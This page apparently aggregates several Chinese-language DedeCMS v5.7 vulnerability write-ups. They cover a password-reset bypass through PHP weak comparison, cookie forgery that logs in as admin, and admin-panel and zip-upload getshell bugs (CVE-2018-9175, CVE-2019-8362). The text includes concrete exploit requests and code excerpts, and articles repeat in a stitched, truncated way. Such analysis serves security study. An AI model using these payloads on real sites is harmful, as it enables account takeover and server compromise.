1)注册一个名为1admin的用户,intval("1admin")将为1,我们将会操控到用户id为1的用户,然后利用1admin获取一个__ckMd5
http://dede.test:8888/member/index.php?uid=1admin
2)利用结果通过验证
这里有个有趣的利用点,注意了!直接通过登陆框登陆admin用户是进不了个人主页的,因为dedecms默认禁止admin用户登陆会员中心。如果通过上面的方法却可以实现amdin用户登陆,有个什么好处呢,会员中心具有修改密码的功能,如果是管理员修改密码,会同时修改掉后台dede_admin表的密码,这里就可以实现前台到后台的突破,而后台的任意文件上传就很轻松了吧
最后梳理一下流程,流程图如下:
0x03 小结
本次主要采用的是功能定向审计,发现这种方式对文件上传漏洞的审计效果还不错,该方式确实速度很快,不过也会忽略很多关键点,最后的感受是,代码审计时不一定只有一种审计方式,除了功能定向审计,我们还可以利用通读代码的方式去做粗略的全局分析,通过敏感关键词回溯去审计一些较难发现的漏洞
另外一个感受就是在登陆口找回密码这种具有一定逻辑的代码审计上,往往需要先梳理清程序的逻辑,如果具有一定的开发意识审计这种代码会快一些。
参考
dedecms官网:
Dedecms 最新版漏洞收集:
前台任意用户登录漏洞分析(修改admin后台密码):
DeDeCMS v5.7 密码修改漏洞分析
网站优化 • 优采云 发表了文章 • 0 个评论 • 81 次浏览 • 2022-06-17 15:40
0x01 背景
织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
2018年1月10日, 锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节[2]。
2018年1月10日,Seebug漏洞平台[3]收录该漏洞,漏洞编号为SSV-97074,知道创宇404漏洞应急团队成功复现该漏洞。
2018年1月17日,阿里先知平台公开了一个任意用户登陆漏洞[4][1],和一个安全隐患[6],通过组合漏洞,导致后台密码可以被修改。
2018年1月18日,知道创宇404漏洞应急团队成功复现该漏洞。
0x02 漏洞简述
整个漏洞利用链包括3个过程:
前台任意用户密码修改漏洞
前台任意用户登陆漏洞
前台管理员密码修改可影响后台的安全隐患
通过3个问题连起来,我们可以重置后台admin密码,如果我们获得了后台地址,就可以进一步登陆后台进行下一步攻击。
1、前台任意用户密码修改漏洞
前台任意用户密码修改漏洞的核心问题是由于DeDeCMS对于部分判断使用错误的弱类型判断,再加上在设置初始值时使用了NULL作为默认填充,导致可以使用弱类型判断的漏洞来绕过判断。
漏洞利用有几个限制:
漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
admin账户的前后台密码不一致,无法修改后台密码。
漏洞只影响未设置密保问题的账户
2、前台任意用户登陆漏洞
前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题,通过一个特殊的机制,我们可以获得任意通过后台加密过的cookie,通过这个cookie我们可以绕过登陆,实现任意用户登陆。
漏洞利用有一个限制:
如果后台开启了账户注册审核,那就必须等待审核通过才能进行下一步利用。
3、前台管理员密码修改可影响后台的安全隐患
在DeDeCMS的设计中,admin被设置为不可从前台登陆,但是当后台登陆admin账户的时候,前台同样会登陆管理员账户。
而且在前台的修改密码接口,如果提供了旧密码,admin同样可以修改密码,并且这里修改密码会同步给后台账户。
通过3个漏洞配合,我们可以避开整个漏洞利用下的大部分问题。
前台任意用户密码修改漏洞->修改admin密码,前台任意用户登录漏洞->登陆admin账户,通过刚才修改的admin密码,来重置admin账户密码。
0x03 漏洞复现
1、 登陆admin前台账户
安装DeDeCMS
注册用户名为000001的账户
由于是本地复现漏洞,所以我们直接从数据库中修改为审核通过
访问
获取cookie中last_vid_ckMd5值,设置 DeDeUserID_ckMd5为刚才获取的值,并设置DedeUserID为0000001
访问
2、修改admin前台登陆密码
使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。
构造漏洞利用请求
dopost=safequestion&safequestion=0.0&safeanswer=&id=1
从Burp获取下一步利用链接
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
直接访问该链接,修改新密码
成功修改登陆admin密码
3、修改后台密码
访问
使用刚才修改的密码再次修改密码
成功登陆
0x04 代码分析
1、 前台任意用户登陆
在分析漏洞之前,我们先来看看通过cookie获取登陆状态的代码。
/include/memberlogin.class.php 161行
通过GetCookie函数从DedeUserID取到了明文的M_ID,通过intval转化之后,直接从数据库中读取该id对应的用户数据。
让我们来看看GetCookie函数
/include/helpers/cookie.helper.php 56行
这里的cfg_cookie_encode是未知的,DeDeCMS通过这种加盐的方式,来保证cookie只能是服务端设置的,所以我们没办法通过自己设置cookie来登陆其他账户。
这里我们需要从别的地方获取这个加密后的值。
/member/index.php161行
161行存在一段特殊的代码,这段代码是用来更新最新的访客记录的,当last_vid没有设置的时候,会把userid更新到这个变量中,更新到flag中。
而这里的userid就是注册时的用户名(如果不是已存在的用户名的话,会因为用户不存在无法访问这个页面)。
通过这种方式,我们就可以通过已知明文来获取我们想要的密文。
这里我们通过注册userid为形似00001或者1aaa这样的用户,在获取登陆状态时,mid会经过intval的转化变为1,我们就成功的登陆到admin的账户下。
ps:该漏洞影响所有用户
2、前台任意用户密码修改
漏洞主要逻辑在 /member/resetpassword.php 75行至95行
当找回密码的方式为安全问题时
dedecms会从数据库中获取用户的安全问题、回答进行比对,当我们在注册时没设置安全问题时。
从数据库中可以看到默认值为NULL(admin默认没有设置安全问题)
下面是设置了安全问题时数据库的样子,safequestion代表问题的id,safeanswer代表安全问题的回答。
我们需要绕过第一个判断
if(empty($safequestion)) $safequestion = '';
这里我们只要传入 0.0就可以绕过这里,然后0.0 == 0为True,第二个判断NULL==""为True,成功进入sn函数。
跟入/member/inc/inc_pwd_functions.php 第150行
有效时间10分钟,进入newmail函数
跟入/member/inc/inc_pwd_functions.php第73行
77行通过random生成了8位的临时密码。
这里我们使用的是安全问题修改密码,所以直接进入94行,将key代入修改页。
跳转进入形似
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
的链接,进入修改密码流程
唯一存在问题的是,这里&错误的经过一次编码,所以这里我们只能手动从流量中抓到这个链接,访问修改密码。
3、修改后台密码安全隐患
在DeDeCMS的代码中,专门对前台修改管理员密码做了设置,如果是管理员,则一并更新后台密码,也就是这个安全隐患导致了这个问题。
/member/edit_baseinfo.php 119行
0x05 修复方案
截至该文章完成时,DeDeCMS的官方仍然没有修复该漏洞,所以需要采用临时修复方案,等待官方正式修复更新。
由于攻击漏洞涉及到3个漏洞,但官方仍然没有公开补丁,所以只能从一定程度上减小各个漏洞的影响。
在官方更新正式补丁之前,可以尝试暂时注释该部分代码,以避免更大的安全隐患
/member/index.php 161-162行
修改文件/member/resetpassword.php 第84行
将其中的==修改为===
即可临时防护该该漏洞。
参 考 链 接
[1] DeDeCMS官网
[2] 漏洞详情原文
[3] Seebug漏洞平台
[4] 阿里先知平台漏洞分析1
[5] 阿里先知平台漏洞分析2
[6] 漏洞最早分析原文
往 期 热 门 查看全部
DeDeCMS v5.7 密码修改漏洞分析
0x01 背景
织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
2018年1月10日, 锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节[2]。
2018年1月10日,Seebug漏洞平台[3]收录该漏洞,漏洞编号为SSV-97074,知道创宇404漏洞应急团队成功复现该漏洞。
2018年1月17日,阿里先知平台公开了一个任意用户登陆漏洞[4][1],和一个安全隐患[6],通过组合漏洞,导致后台密码可以被修改。
2018年1月18日,知道创宇404漏洞应急团队成功复现该漏洞。
0x02 漏洞简述
整个漏洞利用链包括3个过程:
前台任意用户密码修改漏洞
前台任意用户登陆漏洞
前台管理员密码修改可影响后台的安全隐患
通过3个问题连起来,我们可以重置后台admin密码,如果我们获得了后台地址,就可以进一步登陆后台进行下一步攻击。
1、前台任意用户密码修改漏洞
前台任意用户密码修改漏洞的核心问题是由于DeDeCMS对于部分判断使用错误的弱类型判断,再加上在设置初始值时使用了NULL作为默认填充,导致可以使用弱类型判断的漏洞来绕过判断。
漏洞利用有几个限制:
漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
admin账户的前后台密码不一致,无法修改后台密码。
漏洞只影响未设置密保问题的账户
2、前台任意用户登陆漏洞
前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题,通过一个特殊的机制,我们可以获得任意通过后台加密过的cookie,通过这个cookie我们可以绕过登陆,实现任意用户登陆。
漏洞利用有一个限制:
如果后台开启了账户注册审核,那就必须等待审核通过才能进行下一步利用。
3、前台管理员密码修改可影响后台的安全隐患
在DeDeCMS的设计中,admin被设置为不可从前台登陆,但是当后台登陆admin账户的时候,前台同样会登陆管理员账户。
而且在前台的修改密码接口,如果提供了旧密码,admin同样可以修改密码,并且这里修改密码会同步给后台账户。
通过3个漏洞配合,我们可以避开整个漏洞利用下的大部分问题。
前台任意用户密码修改漏洞->修改admin密码,前台任意用户登录漏洞->登陆admin账户,通过刚才修改的admin密码,来重置admin账户密码。
0x03 漏洞复现
1、 登陆admin前台账户
安装DeDeCMS
注册用户名为000001的账户
由于是本地复现漏洞,所以我们直接从数据库中修改为审核通过
访问
获取cookie中last_vid_ckMd5值,设置 DeDeUserID_ckMd5为刚才获取的值,并设置DedeUserID为0000001
访问
2、修改admin前台登陆密码
使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。
构造漏洞利用请求
dopost=safequestion&safequestion=0.0&safeanswer=&id=1
从Burp获取下一步利用链接
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
直接访问该链接,修改新密码
成功修改登陆admin密码
3、修改后台密码
访问
使用刚才修改的密码再次修改密码
成功登陆
0x04 代码分析
1、 前台任意用户登陆
在分析漏洞之前,我们先来看看通过cookie获取登陆状态的代码。
/include/memberlogin.class.php 161行
通过GetCookie函数从DedeUserID取到了明文的M_ID,通过intval转化之后,直接从数据库中读取该id对应的用户数据。
让我们来看看GetCookie函数
/include/helpers/cookie.helper.php 56行
这里的cfg_cookie_encode是未知的,DeDeCMS通过这种加盐的方式,来保证cookie只能是服务端设置的,所以我们没办法通过自己设置cookie来登陆其他账户。
这里我们需要从别的地方获取这个加密后的值。
/member/index.php161行
161行存在一段特殊的代码,这段代码是用来更新最新的访客记录的,当last_vid没有设置的时候,会把userid更新到这个变量中,更新到flag中。
而这里的userid就是注册时的用户名(如果不是已存在的用户名的话,会因为用户不存在无法访问这个页面)。
通过这种方式,我们就可以通过已知明文来获取我们想要的密文。
这里我们通过注册userid为形似00001或者1aaa这样的用户,在获取登陆状态时,mid会经过intval的转化变为1,我们就成功的登陆到admin的账户下。
ps:该漏洞影响所有用户
2、前台任意用户密码修改
漏洞主要逻辑在 /member/resetpassword.php 75行至95行
当找回密码的方式为安全问题时
dedecms会从数据库中获取用户的安全问题、回答进行比对,当我们在注册时没设置安全问题时。
从数据库中可以看到默认值为NULL(admin默认没有设置安全问题)
下面是设置了安全问题时数据库的样子,safequestion代表问题的id,safeanswer代表安全问题的回答。
我们需要绕过第一个判断
if(empty($safequestion)) $safequestion = '';
这里我们只要传入 0.0就可以绕过这里,然后0.0 == 0为True,第二个判断NULL==""为True,成功进入sn函数。
跟入/member/inc/inc_pwd_functions.php 第150行
有效时间10分钟,进入newmail函数
跟入/member/inc/inc_pwd_functions.php第73行
77行通过random生成了8位的临时密码。
这里我们使用的是安全问题修改密码,所以直接进入94行,将key代入修改页。
跳转进入形似
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
的链接,进入修改密码流程
唯一存在问题的是,这里&错误的经过一次编码,所以这里我们只能手动从流量中抓到这个链接,访问修改密码。
3、修改后台密码安全隐患
在DeDeCMS的代码中,专门对前台修改管理员密码做了设置,如果是管理员,则一并更新后台密码,也就是这个安全隐患导致了这个问题。
/member/edit_baseinfo.php 119行
0x05 修复方案
截至该文章完成时,DeDeCMS的官方仍然没有修复该漏洞,所以需要采用临时修复方案,等待官方正式修复更新。
由于攻击漏洞涉及到3个漏洞,但官方仍然没有公开补丁,所以只能从一定程度上减小各个漏洞的影响。
在官方更新正式补丁之前,可以尝试暂时注释该部分代码,以避免更大的安全隐患
/member/index.php 161-162行
修改文件/member/resetpassword.php 第84行
将其中的==修改为===
即可临时防护该该漏洞。
参 考 链 接
[1] DeDeCMS官网
[2] 漏洞详情原文
[3] Seebug漏洞平台
[4] 阿里先知平台漏洞分析1
[5] 阿里先知平台漏洞分析2
[6] 漏洞最早分析原文
往 期 热 门
搭建dedecms漏洞靶场练习环境
网站优化 • 优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-06-17 15:32
前言
本文将对dedecms(织梦cms)所存在的漏洞进行分析和复现,因为代码审计较弱,代码这一块的分析借鉴了一些大佬们的思想,在这里对大佬们表示衷心的感谢。
环境搭建
下载DedeCMS源码放到phpstudy目录下
然后输入127.0.0.1/DedeCMS/uploads/install/index.php进行安装
进入环境检测页面
进行环境配置
这里先进入网站的后台
默认密码为admin admin
这里需要改一下绝对路径
系统默认管理路径是dede,登陆管理后台可以通过地址进行访问
这里我直接在根目录下更改
重新进去管理员后台即可
然后再对php文件进行修改
然后再对默认的管理员名称和密码进行修改
更改成功
对数据进行还原
看一下网站的地址
点击生成更新网站
更新后如图所示
然后即可访问网站,CMS搭建完毕
漏洞分析及复现前台任意用户密码修改漏洞成因
在用户密码重置功能处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员账户默认不设置密保问题)。值得注意的是修改的密码是member表中的密码,即使修改了管理员密码也是member表中的管理员密码,仍是无法进入管理。
漏洞代码分析
php弱类型比较问题很常见,在不同类型比较时,如果使用的是==,php会将其中一个数据进行强制转换为另一个,比如'123a'就会被强制转换成123。这样就出现了弱类型比较问题,当然如果使用===判断比较就不会出现问题了,常见比较如下
'' == 0 == false '123' == 123 //'123'强制转换为123'abc' == 0 //intval('abc')==0'123a' == 123 //intval('123a')==123'1' == 1 //被识别为十六进制'0e123456789' == '0e987654321' //被识别为科学计数法[false] == [0] == [NULL] == ['']NULL == false == 0true == 1
dedecms的/member/resetpassword.php就是用来处理用户密码重置的问题,问题出在75行开始处理验证密保问题处。
else if($dopost == "safequestion"){ $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); }}
可以看到,这段代码先是从数据库取出相关用户的密保问题及密保答案,在对用户输入做了一些处理后,进行了关键性的判断
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
就在这里用了弱类型判断==。
首先我们知道,如果没有设置密保的话safequestion从数据库取出默认为'0',safeanswer为空。根据empty函数特性,'0'会被判断为空,会进入重新将$safequestion赋值为''。而'0' != '',所以我们需要一个输入即不使empty为空,且弱类型等于'0'的字符串。'00'、'000'、'0.0'以上这些都是可以的。
接下来safeanswer既然本来就为空,那么不输入正好也就相等了,跟踪sn函数
function sn($mid,$userid,$mailto, $send = 'Y'){ global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,'INSERT',$send); } //10分钟后可以再次发送新验证码; elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新发送新的验证码确认邮件; else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); }}
跟踪newmail
function newmail($mid, $userid, $mailto, $type, $send){ global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败,请联系管理员', 'login.php'); } }
可见在sn函数中将send参数设置了'N',其实就是生成了暂时密码并插入了数据库中,并进行跳转
else if ($send == 'N'){ return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); }
跳转链接就是修改密码的链接了
漏洞复现
首先打开后台管理页面开启会员功能
注册一个帐号
信息的话随便填一下即可注册成功
然后进入了个人中心
进入会员中心
点击通过安全问题取回
输入用户名
拖入bp改包为payload
dopost=safequestion&id=1&userid=admin&safequestion=00&safeanswer=0&vdcode=Vs4p
进入url,修改密码
前台文件上传漏洞漏洞分析
漏洞在于用户发布文章上传图片处。处理文件在/include/dialog/select_images_post.php
而上传文件存在全局过滤/include/uploadsafe.inc.php
#/include/uploadsafe.inc.php$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ){ if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); }}$imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){ $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); }}
可以看到名字中不得有上述字符,且限制了content-type。按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:
$imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?> 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',')) { if($last_vid!='') { $last_vids = explode(',',$last_vid); $i = 0; $last_vid = $uid; foreach($last_vids as $lsid) { if($i>10) { break; } else if($lsid != $uid) { $i++; $last_vid .= ','.$last_vid; } } } else { $last_vid = $uid; } PutCookie('last_vtime', $vtime, 3600*24, '/'); PutCookie('last_vid', $last_vid, 3600*24, '/');
我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后PutCookie。
那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。
而在接下来会验证用户是否登录。
现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php
//php5构造函数 function __construct($kptime = -1, $cache=FALSE) { global $dsql; if($kptime==-1){ $this->M_KeepTime = 3600 * 24 * 7; }else{ $this->M_KeepTime = $kptime; } $formcache = FALSE; $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); $this->M_LoginTime = GetCookie("DedeLoginTime"); $this->fields = array(); $this->isAdmin = FALSE; if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID); if ($cache) { $this->fields = GetCache($this->memberCache, $this->M_ID); if( empty($this->fields) ) { $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' "); } else { $formcache = TRUE; } } else { $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' "); } if(is_array($this->fields)){ #api{{ if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php') { if($data = uc_get_user($this->fields['userid'])) { if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API)) { $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle'; $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'"); } } } #/aip}} //间隔一小时更新一次用户登录时间 if(time() - $this->M_LoginTime > 3600) { $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';"); PutCookie("DedeLoginTime",time(),$this->M_KeepTime); } $this->M_LoginID = $this->fields['userid']; $this->M_MbType = $this->fields['mtype']; $this->M_Money = $this->fields['money']; $this->M_UserName = FormatUsername($this->fields['uname']); $this->M_Scores = $this->fields['scores']; $this->M_Face = $this->fields['face']; $this->M_Rank = $this->fields['rank']; $this->M_Spacesta = $this->fields['spacesta']; $sql = "Select titles From #@__scores where integralfields['scores']} order by integral desc"; $scrow = $dsql->GetOne($sql); $this->fields['honor'] = $scrow['titles']; $this->M_Honor = $this->fields['honor']; if($this->fields['matt']==10) $this->isAdmin = TRUE; $this->M_UpTime = $this->fields['uptime']; $this->M_ExpTime = $this->fields['exptime']; $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']); if($this->M_Rank>10 && $this->M_UpTime>0){ $this->M_HasDay = $this->Judgemember(); } if( !$formcache ) { SetCache($this->memberCache, $this->M_ID, $this->fields, 1800); } }else{ $this->ResetUser(); } } }
$this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数
if ( ! function_exists('GetCookie')){ function GetCookie($key) { global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } } }}
它不但读了cookie还验证了md5值。
这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。
最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为'000001'即可。
可以看到已经获取到了,拿去当做DeDeUserID,可以看到,登陆了admin用户
Dedecms V5.7后台的两处getshell(CVE-2018-9175)漏洞成因
后台写配置文件过滤不足导致写shell
代码分析
第一个
在/dede/sys_verifies.php中的第152行处
else if ($action == 'getfiles'){ if(!isset($refiles)) { ShowMsg("你没进行任何操作!","sys_verifies.php"); exit(); } $cacheFiles = DEDEDATA.'/modifytmp.inc'; $fp = fopen($cacheFiles, 'w'); fwrite($fp, ''); fclose($fp);
可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。
dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量
function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar;}if (!defined('DEDEREQUEST')){ //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k=>$_v) { if($_k == 'nvarname') continue; CheckRequest($_k); CheckRequest($val[$_k]); } } else { if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) ) { exit('Request var not allow!'); } } } //var_dump($_REQUEST);exit; CheckRequest($_REQUEST); CheckRequest($_COOKIE); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); } }}
上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作
$filename = substr($filename,3,strlen($filename)-3);
去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入" 时经过addlashes会变成\",再去掉前三个字符就只剩下双引号实现闭合。
此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php
第二个
同样是写配置文件,位于/dede/sys_cache_up.php
else if($step == 2){ include_once(DEDEINC."/enums.func.php"); WriteEnumsCache(); //WriteAreaCache(); 已过期 ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc"); exit();}
跟进WriteEnumsCache()
function WriteEnumsCache($egroup=''){ global $dsql; $egroups = array(); if($egroup=='') { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup "); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup "); } $dsql->Execute('enum'); while($nrow = $dsql->GetArray('enum')) { $egroups[] = $nrow['egroup']; } foreach($egroups as $egroup) { $cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; $fp = fopen($cachefile,'w'); fwrite($fp,''); fclose($fp); if(empty($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!';}
可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。
将shell写进数据库中
https://192.168.10.3/DedeCMS/u ... pinfo();//&islogin=1
漏洞复现
因为包含是在同一个文件,所以直接输入
192.168.10.3/DedeCMS/Drunkmars/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//
DedeCMS 后台文件上传getshell(CVE-2019-8362)漏洞成因
上传zip文件解压缩对于文件名过滤不周,导致getshell
代码分析
/dede/album_add.php 175行验证后缀
$fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);
进入函数:
function GetMatchFiles($indir, $fileexp, &$filearr) { $dh = dir($indir); while($filename = $dh->read()) { $truefile = $indir.'/'.$filename; if($filename == "." || $filename == "..") { continue; } else if(is_dir($truefile)) { $this->GetMatchFiles($truefile, $fileexp, $filearr); } else if(preg_match("/\.(".$fileexp.")/i",$filename)) { $filearr[] = $truefile; } } $dh->close(); }
可以确定preg_match("/\.(".$fileexp.")/i",$filename)只是判断了文件名中是否存在.jpg、.png、.gif中的一个,只要构造1.jpg.php就可以绕过
2.5.3 漏洞复现
生成一个1.php并改名为1.jpg.php
将文件压缩为1.zip
找到文件式管理器下的soft目录
将压缩文件上传
访问album_add.php
http://192.168.10.3/DedeCMS/Dr ... d.php
选择从zip包中解压图片
发布后点击预览文档
点击上传的包
即可打出phpinfo()
查看全部
搭建dedecms漏洞靶场练习环境
前言
本文将对dedecms(织梦cms)所存在的漏洞进行分析和复现,因为代码审计较弱,代码这一块的分析借鉴了一些大佬们的思想,在这里对大佬们表示衷心的感谢。
环境搭建
下载DedeCMS源码放到phpstudy目录下
然后输入127.0.0.1/DedeCMS/uploads/install/index.php进行安装
进入环境检测页面
进行环境配置
这里先进入网站的后台
默认密码为admin admin
这里需要改一下绝对路径
系统默认管理路径是dede,登陆管理后台可以通过地址进行访问
这里我直接在根目录下更改
重新进去管理员后台即可
然后再对php文件进行修改
然后再对默认的管理员名称和密码进行修改
更改成功
对数据进行还原
看一下网站的地址
点击生成更新网站
更新后如图所示
然后即可访问网站,CMS搭建完毕
漏洞分析及复现前台任意用户密码修改漏洞成因
在用户密码重置功能处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员账户默认不设置密保问题)。值得注意的是修改的密码是member表中的密码,即使修改了管理员密码也是member表中的管理员密码,仍是无法进入管理。
漏洞代码分析
php弱类型比较问题很常见,在不同类型比较时,如果使用的是==,php会将其中一个数据进行强制转换为另一个,比如'123a'就会被强制转换成123。这样就出现了弱类型比较问题,当然如果使用===判断比较就不会出现问题了,常见比较如下
'' == 0 == false '123' == 123 //'123'强制转换为123'abc' == 0 //intval('abc')==0'123a' == 123 //intval('123a')==123'1' == 1 //被识别为十六进制'0e123456789' == '0e987654321' //被识别为科学计数法[false] == [0] == [NULL] == ['']NULL == false == 0true == 1
dedecms的/member/resetpassword.php就是用来处理用户密码重置的问题,问题出在75行开始处理验证密保问题处。
else if($dopost == "safequestion"){ $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); }}
可以看到,这段代码先是从数据库取出相关用户的密保问题及密保答案,在对用户输入做了一些处理后,进行了关键性的判断
